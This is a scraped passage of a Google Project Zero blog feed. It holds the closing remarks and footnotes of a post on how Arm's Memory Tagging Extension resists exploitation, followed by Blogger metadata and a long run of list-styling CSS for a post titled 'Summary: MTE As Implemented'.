<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c1"><br>For unknown-tag-bypasses, attackers will need a very good one-shot bug, likely in complex file-format parsing. An exploit would still need to meet the soft time constraint.</span></p>
<p class="scumOdHlnr-c5 scumOdHlnr-c34"><span class="scumOdHlnr-c1"></span></p>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c13">It's likely that exploitation techniques here will be bespoke and both per-application and per-vulnerability, even if there is significant shared code between different messaging applications.</span></p>
<p class="scumOdHlnr-c5"><span><br></span><span class="scumOdHlnr-c18 scumOdHlnr-c13"><a class="scumOdHlnr-c121" href="https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-3-kernel.html">Part 3</a></span><span class="scumOdHlnr-c13"> continues this series with a more detailed discussion of the specifics of applying MTE to the kernel, which has some additional nuance (and may still contain some information of interest even if you're only interested in user-space applications).</span><span class="scumOdHlnr-c13"> </span></p>
<p class="scumOdHlnr-c5 scumOdHlnr-c34"><span class="scumOdHlnr-c1"></span></p><h4 class="scumOdHlnr-c5 scumOdHlnr-c64" id="h.xivuzilpjgfi"><span class="scumOdHlnr-c53 scumOdHlnr-c65">[1] A hard mitigation that does not provide deterministic protection, but which can be universally bypassed by the attacker "winning" a probabilistic condition, in the case of MTE (with 4 tag bits available, likely with one value reserved) this would probably imply a 1/15 chance of success.</span></h4><h4 class="scumOdHlnr-c5 scumOdHlnr-c64" id="h.2li82hlequ8"><span class="scumOdHlnr-c65 scumOdHlnr-c53">[2] A hard mitigation that does provide deterministic protection.</span></h4>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-89583401674669706082023-08-02T09:30:00.000-07:002023-08-02T09:30:01.577-07:00Summary: MTE As Implemented<style type="text/css">@import url(https://themes.googleusercontent.com/fonts/css?kit=DFQxm4rd7fRHgM9OTejWVT5Vho6BE7M80rHXEVKqXWdbV0WvE1cEyAoIq5yYZlSc);.lst-kix_exl34y7adtul-6>li{counter-increment:lst-ctn-kix_exl34y7adtul-6}.lst-kix_kzys3uxts4nk-6>li:before{content:"" counter(lst-ctn-kix_kzys3uxts4nk-6,decimal) ". "}.lst-kix_kzys3uxts4nk-8>li:before{content:"" counter(lst-ctn-kix_kzys3uxts4nk-8,lower-roman) ". "}.lst-kix_s8b3u49h11dr-4>li:before{content:"- "}.lst-kix_s8b3u49h11dr-6>li:before{content:"- "}.lst-kix_kzys3uxts4nk-7>li:before{content:"" counter(lst-ctn-kix_kzys3uxts4nk-7,lower-latin) ". "}.lst-kix_w66ctsc8735u-5>li{counter-increment:lst-ctn-kix_w66ctsc8735u-5}.lst-kix_s8b3u49h11dr-3>li:before{content:"- "}.lst-kix_s8b3u49h11dr-7>li:before{content:"- "}.lst-kix_7336pfhg38rf-8>li{counter-increment:lst-ctn-kix_7336pfhg38rf-8}ol.lst-kix_w66ctsc8735u-1.start{counter-reset:lst-ctn-kix_w66ctsc8735u-1 0}.lst-kix_kzys3uxts4nk-4>li:before{content:"(" counter(lst-ctn-kix_kzys3uxts4nk-4,lower-latin) ") "}.lst-kix_kzys3uxts4nk-5>li:before{content:"(" counter(lst-ctn-kix_kzys3uxts4nk-5,lower-roman) ") "}.lst-kix_s8b3u49h11dr-5>li:before{content:"- "}.lst-kix_kzys3uxts4nk-0>li:before{content:"" counter(lst-ctn-kix_kzys3uxts4nk-0,decimal) ") "}.lst-kix_kbggz78f7t6j-0>li:before{content:"- "}.lst-kix_kzys3uxts4nk-3>li:before{content:"(" counter(lst-ctn-kix_kzys3uxts4nk-3,decimal) ") "}.lst-kix_cm1sbgja1sfy-8>li:before{content:"- "}.lst-kix_21mujycf9tm5-2>li{counter-increment:lst-ctn-kix_21mujycf9tm5-2}.lst-kix_kbggz78f7t6j-2>li:before{content:"- "}.lst-kix_kbggz78f7t6j-3>li:before{content:"- "}.lst-kix_kzys3uxts4nk-3>li{counter-increment:lst-ctn-kix_kzys3uxts4nk-3}.lst-kix_kzys3uxts4nk-2>li:before{content:"" counter(lst-ctn-kix_kzys3uxts4nk-2,lower-roman) ") "}.lst-kix_s8b3u49h11dr-8>li:before{content:"- "}.lst-kix_kbggz78f7t6j-1>li:before{content:"- "}.lst-kix_kzys3uxts4nk-1>li:before{content:"" counter(lst-ctn-kix_kzys3uxts4nk-1,lower-latin) ") "}ol.lst-kix_21mujycf9tm5-4.start{counter-reset:lst-ctn-kix_21mujycf9tm5-4 0}ol.lst-kix_kzys3uxts4nk-4.start{counter-reset:lst-ctn-kix_kzys3uxts4nk-4 0}.lst-kix_cm1sbgja1sfy-1>li:before{content:"- "}.lst-kix_cm1sbgja1sfy-3>li:before{content:"- "}ul.lst-kix_l2qfj6h0ccxw-1{list-style-type:none}ul.lst-kix_l2qfj6h0ccxw-2{list-style-type:none}ol.lst-kix_7336pfhg38rf-7.start{counter-reset:lst-ctn-kix_7336pfhg38rf-7 0}.lst-kix_cm1sbgja1sfy-0>li:before{content:"- "}.lst-kix_cm1sbgja1sfy-4>li:before{content:"- "}ul.lst-kix_l2qfj6h0ccxw-0{list-style-type:none}.lst-kix_cm1sbgja1sfy-5>li:before{content:"- "}.lst-kix_cm1sbgja1sfy-7>li:before{content:"- "}.lst-kix_kzys3uxts4nk-1>li{counter-increment:lst-ctn-kix_kzys3uxts4nk-1}.lst-kix_cm1sbgja1sfy-6>li:before{content:"- "}ul.lst-kix_kbggz78f7t6j-0{list-style-type:none}ul.lst-kix_kbggz78f7t6j-1{list-style-type:none}.lst-kix_p0bbun9lfefs-6>li{counter-increment:lst-ctn-kix_p0bbun9lfefs-6}ul.lst-kix_kbggz78f7t6j-4{list-style-type:none}.lst-kix_21mujycf9tm5-4>li{counter-increment:lst-ctn-kix_21mujycf9tm5-4}ul.lst-kix_kbggz78f7t6j-5{list-style-type:none}ul.lst-kix_kbggz78f7t6j-2{list-style-type:none}ul.lst-kix_kbggz78f7t6j-3{list-style-type:none}ul.lst-kix_kbggz78f7t6j-8{list-style-type:none}ul.lst-kix_l2qfj6h0ccxw-5{list-style-type:none}ol.lst-kix_exl34y7adtul-4.start{counter-reset:lst-ctn-kix_exl34y7adtul-4 0}ul.lst-kix_l2qfj6h0ccxw-6{list-style-type:none}ol.lst-kix_7336pfhg38rf-1.start{counter-reset:lst-ctn-kix_7336pfhg38rf-1 0}ul.lst-kix_kbggz78f7t6j-6{list-style-type:none}ul.lst-kix_l2qfj6h0ccxw-3{list-style-type:none}ul.lst-kix_kbggz78f7t6j-7{list-style-type:none}ul.lst-kix_l2qfj6h0ccxw-4{list-style-type:none}.lst-kix_exl34y7adtul-4>li{counter-increment:lst-ctn-kix_exl34y7adtul-4}ul.lst-kix_l2qfj6h0ccxw-7{list-style-type:none}.lst-kix_w66ctsc8735u-7>li{counter-increment:lst-ctn-kix_w66ctsc8735u-7}.lst-kix_cm1sbgja1sfy-2>li:before{content:"- "}ul.lst-kix_l2qfj6h0ccxw-8{list-style-type:none}.lst-kix_7336pfhg38rf-6>li{counter-increment:lst-ctn-kix_7336pfhg38rf-6}ol.lst-kix_7336pfhg38rf-6.start{counter-reset:lst-ctn-kix_7336pfhg38rf-6 0}ol.lst-kix_kzys3uxts4nk-5.start{counter-reset:lst-ctn-kix_kzys3uxts4nk-5 0}ol.lst-kix_w66ctsc8735u-6.start{counter-reset:lst-ctn-kix_w66ctsc8735u-6 0}ol.lst-kix_p0bbun9lfefs-4.start{counter-reset:lst-ctn-kix_p0bbun9lfefs-4 0}ol.lst-kix_w66ctsc8735u-0.start{counter-reset:lst-ctn-kix_w66ctsc8735u-0 23}ol.lst-kix_exl34y7adtul-5.start{counter-reset:lst-ctn-kix_exl34y7adtul-5 0}.lst-kix_l2qfj6h0ccxw-1>li:before{content:"- "}ul.lst-kix_qjr0xim7lg91-7{list-style-type:none}ol.lst-kix_p0bbun9lfefs-5.start{counter-reset:lst-ctn-kix_p0bbun9lfefs-5 0}ul.lst-kix_qjr0xim7lg91-6{list-style-type:none}ol.lst-kix_7336pfhg38rf-0.start{counter-reset:lst-ctn-kix_7336pfhg38rf-0 0}ol.lst-kix_exl34y7adtul-0.start{counter-reset:lst-ctn-kix_exl34y7adtul-0 0}ul.lst-kix_qjr0xim7lg91-5{list-style-type:none}.lst-kix_l2qfj6h0ccxw-0>li:before{content:"- "}ul.lst-kix_qjr0xim7lg91-4{list-style-type:none}ul.lst-kix_qjr0xim7lg91-8{list-style-type:none}.lst-kix_7336pfhg38rf-4>li{counter-increment:lst-ctn-kix_7336pfhg38rf-4}.lst-kix_exl34y7adtul-2>li{counter-increment:lst-ctn-kix_exl34y7adtul-2}.lst-kix_p0bbun9lfefs-2>li{counter-increment:lst-ctn-kix_p0bbun9lfefs-2}.lst-kix_exl34y7adtul-8>li{counter-increment:lst-ctn-kix_exl34y7adtul-8}.lst-kix_p0bbun9lfefs-8>li{counter-increment:lst-ctn-kix_p0bbun9lfefs-8}ul.lst-kix_qjr0xim7lg91-3{list-style-type:none}ul.lst-kix_qjr0xim7lg91-2{list-style-type:none}ul.lst-kix_qjr0xim7lg91-1{list-style-type:none}ul.lst-kix_qjr0xim7lg91-0{list-style-type:none}.lst-kix_qjr0xim7lg91-6>li:before{content:"- "}.lst-kix_qjr0xim7lg91-8>li:before{content:"- "}ol.lst-kix_21mujycf9tm5-5.start{counter-reset:lst-ctn-kix_21mujycf9tm5-5 0}.lst-kix_qjr0xim7lg91-7>li:before{content:"- "}ol.lst-kix_w66ctsc8735u-7.start{counter-reset:lst-ctn-kix_w66ctsc8735u-7 0}.lst-kix_qjr0xim7lg91-4>li:before{content:"- "}.lst-kix_kzys3uxts4nk-8>li{counter-increment:lst-ctn-kix_kzys3uxts4nk-8}.lst-kix_kzys3uxts4nk-5>li{counter-increment:lst-ctn-kix_kzys3uxts4nk-5}.lst-kix_qjr0xim7lg91-5>li:before{content:"- "}.lst-kix_p0bbun9lfefs-1>li{counter-increment:lst-ctn-kix_p0bbun9lfefs-1}ol.lst-kix_kzys3uxts4nk-3.start{counter-reset:lst-ctn-kix_kzys3uxts4nk-3 0}.lst-kix_7336pfhg38rf-7>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-7,lower-latin) ". "}.lst-kix_qjr0xim7lg91-3>li:before{content:"- "}ol.lst-kix_kzys3uxts4nk-0.start{counter-reset:lst-ctn-kix_kzys3uxts4nk-0 0}.lst-kix_exl34y7adtul-0>li{counter-increment:lst-ctn-kix_exl34y7adtul-0}.lst-kix_7336pfhg38rf-1>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-1,lower-latin) ". "}.lst-kix_qjr0xim7lg91-1>li:before{content:"- "}ol.lst-kix_7336pfhg38rf-8.start{counter-reset:lst-ctn-kix_7336pfhg38rf-8 0}ol.lst-kix_exl34y7adtul-3.start{counter-reset:lst-ctn-kix_exl34y7adtul-3 0}.lst-kix_kzys3uxts4nk-7>li{counter-increment:lst-ctn-kix_kzys3uxts4nk-7}ol.lst-kix_p0bbun9lfefs-3.start{counter-reset:lst-ctn-kix_p0bbun9lfefs-3 0}ol.lst-kix_w66ctsc8735u-8.start{counter-reset:lst-ctn-kix_w66ctsc8735u-8 0}ol.lst-kix_21mujycf9tm5-2{list-style-type:none}ol.lst-kix_exl34y7adtul-1{list-style-type:none}ol.lst-kix_21mujycf9tm5-1{list-style-type:none}ol.lst-kix_exl34y7adtul-2{list-style-type:none}ol.lst-kix_21mujycf9tm5-0{list-style-type:none}ol.lst-kix_exl34y7adtul-0{list-style-type:none}.lst-kix_l2qfj6h0ccxw-2>li:before{content:"- "}ol.lst-kix_exl34y7adtul-5{list-style-type:none}ol.lst-kix_exl34y7adtul-6{list-style-type:none}ol.lst-kix_exl34y7adtul-3{list-style-type:none}ol.lst-kix_exl34y7adtul-4{list-style-type:none}.lst-kix_kzys3uxts4nk-6>li{counter-increment:lst-ctn-kix_kzys3uxts4nk-6}ol.lst-kix_21mujycf9tm5-8{list-style-type:none}ol.lst-kix_21mujycf9tm5-7{list-style-type:none}.lst-kix_l2qfj6h0ccxw-4>li:before{content:"- "}.lst-kix_l2qfj6h0ccxw-6>li:before{content:"- "}ol.lst-kix_21mujycf9tm5-6{list-style-type:none}ol.lst-kix_21mujycf9tm5-5{list-style-type:none}.lst-kix_p0bbun9lfefs-0>li{counter-increment:lst-ctn-kix_p0bbun9lfefs-0}ol.lst-kix_21mujycf9tm5-4{list-style-type:none}ol.lst-kix_p0bbun9lfefs-0.start{counter-reset:lst-ctn-kix_p0bbun9lfefs-0 0}ol.lst-kix_21mujycf9tm5-3{list-style-type:none}.lst-kix_w66ctsc8735u-1>li{counter-increment:lst-ctn-kix_w66ctsc8735u-1}.lst-kix_7336pfhg38rf-0>li{counter-increment:lst-ctn-kix_7336pfhg38rf-0}.lst-kix_exl34y7adtul-1>li{counter-increment:lst-ctn-kix_exl34y7adtul-1}.lst-kix_l2qfj6h0ccxw-8>li:before{content:"- "}.lst-kix_21mujycf9tm5-7>li{counter-increment:lst-ctn-kix_21mujycf9tm5-7}ol.lst-kix_exl34y7adtul-7{list-style-type:none}ol.lst-kix_exl34y7adtul-1.start{counter-reset:lst-ctn-kix_exl34y7adtul-1 0}ol.lst-kix_exl34y7adtul-8{list-style-type:none}.lst-kix_7336pfhg38rf-5>li{counter-increment:lst-ctn-kix_7336pfhg38rf-5}.lst-kix_exl34y7adtul-1>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-1,lower-latin) ". "}.lst-kix_exl34y7adtul-3>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-3,decimal) ". "}ol.lst-kix_kzys3uxts4nk-1.start{counter-reset:lst-ctn-kix_kzys3uxts4nk-1 0}.lst-kix_exl34y7adtul-5>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-5,lower-roman) ". "}ol.lst-kix_p0bbun9lfefs-1.start{counter-reset:lst-ctn-kix_p0bbun9lfefs-1 0}.lst-kix_kzys3uxts4nk-0>li{counter-increment:lst-ctn-kix_kzys3uxts4nk-0}.lst-kix_exl34y7adtul-7>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-7,lower-latin) ". "}.lst-kix_21mujycf9tm5-6>li{counter-increment:lst-ctn-kix_21mujycf9tm5-6}.lst-kix_kbggz78f7t6j-6>li:before{content:"- "}.lst-kix_21mujycf9tm5-3>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-3,decimal) ". "}.lst-kix_21mujycf9tm5-5>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-5,lower-roman) ". "}.lst-kix_w66ctsc8735u-6>li{counter-increment:lst-ctn-kix_w66ctsc8735u-6}.lst-kix_kbggz78f7t6j-4>li:before{content:"- "}.lst-kix_kbggz78f7t6j-8>li:before{content:"- "}.lst-kix_21mujycf9tm5-0>li{counter-increment:lst-ctn-kix_21mujycf9tm5-0}.lst-kix_w66ctsc8735u-0>li{counter-increment:lst-ctn-kix_w66ctsc8735u-0}.lst-kix_21mujycf9tm5-1>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-1,lower-latin) ". "}.lst-kix_21mujycf9tm5-7>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-7,lower-latin) ". "}.lst-kix_7336pfhg38rf-3>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-3,decimal) ". "}ol.lst-kix_21mujycf9tm5-8.start{counter-reset:lst-ctn-kix_21mujycf9tm5-8 0}.lst-kix_7336pfhg38rf-5>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-5,lower-roman) ". "}ol.lst-kix_kzys3uxts4nk-2.start{counter-reset:lst-ctn-kix_kzys3uxts4nk-2 0}.lst-kix_s8b3u49h11dr-1>li:before{content:"- "}ol.lst-kix_p0bbun9lfefs-2.start{counter-reset:lst-ctn-kix_p0bbun9lfefs-2 0}.lst-kix_kzys3uxts4nk-2>li{counter-increment:lst-ctn-kix_kzys3uxts4nk-2}ul.lst-kix_s8b3u49h11dr-8{list-style-type:none}.lst-kix_p0bbun9lfefs-7>li{counter-increment:lst-ctn-kix_p0bbun9lfefs-7}ul.lst-kix_s8b3u49h11dr-7{list-style-type:none}ul.lst-kix_s8b3u49h11dr-4{list-style-type:none}ul.lst-kix_s8b3u49h11dr-3{list-style-type:none}ul.lst-kix_s8b3u49h11dr-6{list-style-type:none}ol.lst-kix_7336pfhg38rf-4.start{counter-reset:lst-ctn-kix_7336pfhg38rf-4 0}ul.lst-kix_s8b3u49h11dr-5{list-style-type:none}ul.lst-kix_s8b3u49h11dr-0{list-style-type:none}ul.lst-kix_s8b3u49h11dr-2{list-style-type:none}ul.lst-kix_s8b3u49h11dr-1{list-style-type:none}ul.lst-kix_2kpafl3r6z6c-1{list-style-type:none}ul.lst-kix_2kpafl3r6z6c-2{list-style-type:none}ul.lst-kix_2kpafl3r6z6c-3{list-style-type:none}ul.lst-kix_2kpafl3r6z6c-4{list-style-type:none}ul.lst-kix_2kpafl3r6z6c-5{list-style-type:none}ol.lst-kix_exl34y7adtul-2.start{counter-reset:lst-ctn-kix_exl34y7adtul-2 0}.lst-kix_w66ctsc8735u-8>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-8,lower-roman) ". "}ol.lst-kix_21mujycf9tm5-7.start{counter-reset:lst-ctn-kix_21mujycf9tm5-7 0}ul.lst-kix_2kpafl3r6z6c-6{list-style-type:none}ul.lst-kix_2kpafl3r6z6c-7{list-style-type:none}ul.lst-kix_2kpafl3r6z6c-8{list-style-type:none}.lst-kix_w66ctsc8735u-1>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-1,lower-latin) ". "}.lst-kix_w66ctsc8735u-2>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-2,lower-roman) ". "}.lst-kix_w66ctsc8735u-0>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-0,upper-latin) ". "}.lst-kix_w66ctsc8735u-4>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-4,lower-latin) ". "}.lst-kix_w66ctsc8735u-5>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-5,lower-roman) ". "}.lst-kix_w66ctsc8735u-6>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-6,decimal) ". "}.lst-kix_kzys3uxts4nk-4>li{counter-increment:lst-ctn-kix_kzys3uxts4nk-4}.lst-kix_w66ctsc8735u-7>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-7,lower-latin) ". "}ol.lst-kix_exl34y7adtul-7.start{counter-reset:lst-ctn-kix_exl34y7adtul-7 0}ul.lst-kix_2kpafl3r6z6c-0{list-style-type:none}.lst-kix_t1xsxvgqx8s0-6>li:before{content:"- "}.lst-kix_t1xsxvgqx8s0-5>li:before{content:"- "}.lst-kix_t1xsxvgqx8s0-7>li:before{content:"- "}ol.lst-kix_kzys3uxts4nk-7.start{counter-reset:lst-ctn-kix_kzys3uxts4nk-7 0}.lst-kix_w66ctsc8735u-4>li{counter-increment:lst-ctn-kix_w66ctsc8735u-4}.lst-kix_21mujycf9tm5-1>li{counter-increment:lst-ctn-kix_21mujycf9tm5-1}.lst-kix_exl34y7adtul-7>li{counter-increment:lst-ctn-kix_exl34y7adtul-7}ol.lst-kix_p0bbun9lfefs-7.start{counter-reset:lst-ctn-kix_p0bbun9lfefs-7 0}.lst-kix_t1xsxvgqx8s0-8>li:before{content:"- "}.lst-kix_w66ctsc8735u-3>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-3,decimal) ". "}.lst-kix_2kpafl3r6z6c-7>li:before{content:"- "}.lst-kix_2kpafl3r6z6c-6>li:before{content:"- "}.lst-kix_t1xsxvgqx8s0-3>li:before{content:"- "}.lst-kix_w66ctsc8735u-8>li{counter-increment:lst-ctn-kix_w66ctsc8735u-8}.lst-kix_t1xsxvgqx8s0-4>li:before{content:"- "}.lst-kix_2kpafl3r6z6c-8>li:before{content:"- "}.lst-kix_p0bbun9lfefs-7>li:before{content:"" counter(lst-ctn-kix_p0bbun9lfefs-7,lower-latin) ". "}ol.lst-kix_21mujycf9tm5-6.start{counter-reset:lst-ctn-kix_21mujycf9tm5-6 0}ol.lst-kix_kzys3uxts4nk-0{list-style-type:none}ol.lst-kix_kzys3uxts4nk-1{list-style-type:none}.lst-kix_2kpafl3r6z6c-1>li:before{content:"- "}.lst-kix_p0bbun9lfefs-8>li:before{content:"" counter(lst-ctn-kix_p0bbun9lfefs-8,lower-roman) ". "}.lst-kix_2kpafl3r6z6c-2>li:before{content:"- "}.lst-kix_t1xsxvgqx8s0-2>li:before{content:"- "}.lst-kix_21mujycf9tm5-5>li{counter-increment:lst-ctn-kix_21mujycf9tm5-5}.lst-kix_t1xsxvgqx8s0-1>li:before{content:"- "}.lst-kix_w66ctsc8735u-2>li{counter-increment:lst-ctn-kix_w66ctsc8735u-2}.lst-kix_2kpafl3r6z6c-3>li:before{content:"- "}.lst-kix_2kpafl3r6z6c-5>li:before{content:"- "}.lst-kix_t1xsxvgqx8s0-0>li:before{content:"- "}.lst-kix_2kpafl3r6z6c-4>li:before{content:"- "}ol.lst-kix_w66ctsc8735u-7{list-style-type:none}ol.lst-kix_w66ctsc8735u-8{list-style-type:none}.lst-kix_p0bbun9lfefs-0>li:before{content:"" counter(lst-ctn-kix_p0bbun9lfefs-0,decimal) ". "}ol.lst-kix_w66ctsc8735u-5{list-style-type:none}ol.lst-kix_w66ctsc8735u-6{list-style-type:none}ol.lst-kix_w66ctsc8735u-3{list-style-type:none}ol.lst-kix_w66ctsc8735u-4{list-style-type:none}.lst-kix_p0bbun9lfefs-1>li:before{content:"" counter(lst-ctn-kix_p0bbun9lfefs-1,lower-latin) ". "}ol.lst-kix_kzys3uxts4nk-6{list-style-type:none}ol.lst-kix_w66ctsc8735u-1{list-style-type:none}.lst-kix_exl34y7adtul-5>li{counter-increment:lst-ctn-kix_exl34y7adtul-5}.lst-kix_p0bbun9lfefs-5>li{counter-increment:lst-ctn-kix_p0bbun9lfefs-5}ol.lst-kix_kzys3uxts4nk-7{list-style-type:none}ol.lst-kix_w66ctsc8735u-2{list-style-type:none}ol.lst-kix_kzys3uxts4nk-8{list-style-type:none}ol.lst-kix_w66ctsc8735u-0{list-style-type:none}.lst-kix_7336pfhg38rf-7>li{counter-increment:lst-ctn-kix_7336pfhg38rf-7}ol.lst-kix_kzys3uxts4nk-2{list-style-type:none}ol.lst-kix_kzys3uxts4nk-3{list-style-type:none}ol.lst-kix_kzys3uxts4nk-4{list-style-type:none}ol.lst-kix_kzys3uxts4nk-5{list-style-type:none}.lst-kix_2kpafl3r6z6c-0>li:before{content:"- "}.lst-kix_p0bbun9lfefs-6>li:before{content:"" counter(lst-ctn-kix_p0bbun9lfefs-6,decimal) ". "}.lst-kix_p0bbun9lfefs-5>li:before{content:"" counter(lst-ctn-kix_p0bbun9lfefs-5,lower-roman) ". "}.lst-kix_p0bbun9lfefs-2>li:before{content:"" counter(lst-ctn-kix_p0bbun9lfefs-2,lower-roman) ". "}.lst-kix_p0bbun9lfefs-4>li:before{content:"" counter(lst-ctn-kix_p0bbun9lfefs-4,lower-latin) ". "}.lst-kix_p0bbun9lfefs-3>li:before{content:"" counter(lst-ctn-kix_p0bbun9lfefs-3,decimal) ". "}.lst-kix_7336pfhg38rf-8>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-8,lower-roman) ". "}.lst-kix_qjr0xim7lg91-0>li:before{content:"- "}ol.lst-kix_exl34y7adtul-6.start{counter-reset:lst-ctn-kix_exl34y7adtul-6 0}ul.lst-kix_t1xsxvgqx8s0-2{list-style-type:none}ul.lst-kix_t1xsxvgqx8s0-3{list-style-type:none}ul.lst-kix_t1xsxvgqx8s0-0{list-style-type:none}.lst-kix_qjr0xim7lg91-2>li:before{content:"- "}ul.lst-kix_t1xsxvgqx8s0-1{list-style-type:none}.lst-kix_7336pfhg38rf-2>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-2,lower-roman) ". "}.lst-kix_7336pfhg38rf-2>li{counter-increment:lst-ctn-kix_7336pfhg38rf-2}.lst-kix_7336pfhg38rf-0>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-0,decimal) ". "}.lst-kix_21mujycf9tm5-8>li{counter-increment:lst-ctn-kix_21mujycf9tm5-8}ol.lst-kix_w66ctsc8735u-5.start{counter-reset:lst-ctn-kix_w66ctsc8735u-5 0}ol.lst-kix_p0bbun9lfefs-6.start{counter-reset:lst-ctn-kix_p0bbun9lfefs-6 0}.lst-kix_7336pfhg38rf-1>li{counter-increment:lst-ctn-kix_7336pfhg38rf-1}ol.lst-kix_kzys3uxts4nk-6.start{counter-reset:lst-ctn-kix_kzys3uxts4nk-6 0}ol.lst-kix_21mujycf9tm5-3.start{counter-reset:lst-ctn-kix_21mujycf9tm5-3 0}ol.lst-kix_w66ctsc8735u-2.start{counter-reset:lst-ctn-kix_w66ctsc8735u-2 0}ol.lst-kix_7336pfhg38rf-5.start{counter-reset:lst-ctn-kix_7336pfhg38rf-5 0}.lst-kix_l2qfj6h0ccxw-3>li:before{content:"- "}.lst-kix_l2qfj6h0ccxw-5>li:before{content:"- "}ol.lst-kix_21mujycf9tm5-0.start{counter-reset:lst-ctn-kix_21mujycf9tm5-0 0}ul.lst-kix_t1xsxvgqx8s0-8{list-style-type:none}ol.lst-kix_7336pfhg38rf-0{list-style-type:none}ol.lst-kix_7336pfhg38rf-1{list-style-type:none}.lst-kix_7336pfhg38rf-3>li{counter-increment:lst-ctn-kix_7336pfhg38rf-3}.lst-kix_p0bbun9lfefs-3>li{counter-increment:lst-ctn-kix_p0bbun9lfefs-3}ul.lst-kix_t1xsxvgqx8s0-6{list-style-type:none}ul.lst-kix_t1xsxvgqx8s0-7{list-style-type:none}ul.lst-kix_t1xsxvgqx8s0-4{list-style-type:none}ul.lst-kix_t1xsxvgqx8s0-5{list-style-type:none}.lst-kix_l2qfj6h0ccxw-7>li:before{content:"- "}ol.lst-kix_7336pfhg38rf-6{list-style-type:none}ol.lst-kix_7336pfhg38rf-7{list-style-type:none}ol.lst-kix_7336pfhg38rf-8{list-style-type:none}ol.lst-kix_7336pfhg38rf-2{list-style-type:none}ol.lst-kix_7336pfhg38rf-3{list-style-type:none}ol.lst-kix_7336pfhg38rf-4{list-style-type:none}ol.lst-kix_7336pfhg38rf-5{list-style-type:none}.lst-kix_p0bbun9lfefs-4>li{counter-increment:lst-ctn-kix_p0bbun9lfefs-4}ol.lst-kix_w66ctsc8735u-3.start{counter-reset:lst-ctn-kix_w66ctsc8735u-3 0}.lst-kix_exl34y7adtul-0>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-0,decimal) ". "}.lst-kix_exl34y7adtul-3>li{counter-increment:lst-ctn-kix_exl34y7adtul-3}ol.lst-kix_kzys3uxts4nk-8.start{counter-reset:lst-ctn-kix_kzys3uxts4nk-8 0}.lst-kix_exl34y7adtul-2>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-2,lower-roman) ". "}.lst-kix_exl34y7adtul-4>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-4,lower-latin) ". "}ol.lst-kix_21mujycf9tm5-2.start{counter-reset:lst-ctn-kix_21mujycf9tm5-2 0}ul.lst-kix_cm1sbgja1sfy-1{list-style-type:none}ol.lst-kix_p0bbun9lfefs-8.start{counter-reset:lst-ctn-kix_p0bbun9lfefs-8 0}ul.lst-kix_cm1sbgja1sfy-0{list-style-type:none}ul.lst-kix_cm1sbgja1sfy-3{list-style-type:none}.lst-kix_exl34y7adtul-6>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-6,decimal) ". "}.lst-kix_exl34y7adtul-8>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-8,lower-roman) ". "}ul.lst-kix_cm1sbgja1sfy-2{list-style-type:none}ol.lst-kix_exl34y7adtul-8.start{counter-reset:lst-ctn-kix_exl34y7adtul-8 0}ol.lst-kix_7336pfhg38rf-2.start{counter-reset:lst-ctn-kix_7336pfhg38rf-2 0}ol.lst-kix_p0bbun9lfefs-8{list-style-type:none}ol.lst-kix_p0bbun9lfefs-7{list-style-type:none}ol.lst-kix_p0bbun9lfefs-6{list-style-type:none}ol.lst-kix_p0bbun9lfefs-5{list-style-type:none}ol.lst-kix_p0bbun9lfefs-4{list-style-type:none}ol.lst-kix_p0bbun9lfefs-3{list-style-type:none}ol.lst-kix_p0bbun9lfefs-2{list-style-type:none}ol.lst-kix_p0bbun9lfefs-1{list-style-type:none}ol.lst-kix_p0bbun9lfefs-0{list-style-type:none}.lst-kix_21mujycf9tm5-4>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-4,lower-latin) ". "}.lst-kix_kbggz78f7t6j-7>li:before{content:"- "}.lst-kix_21mujycf9tm5-3>li{counter-increment:lst-ctn-kix_21mujycf9tm5-3}.lst-kix_21mujycf9tm5-2>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-2,lower-roman) ". "}.lst-kix_21mujycf9tm5-6>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-6,decimal) ". "}.lst-kix_21mujycf9tm5-0>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-0,decimal) ". "}.lst-kix_21mujycf9tm5-8>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-8,lower-roman) ". "}ul.lst-kix_cm1sbgja1sfy-8{list-style-type:none}ol.lst-kix_21mujycf9tm5-1.start{counter-reset:lst-ctn-kix_21mujycf9tm5-1 0}ul.lst-kix_cm1sbgja1sfy-5{list-style-type:none}.lst-kix_kbggz78f7t6j-5>li:before{content:"- 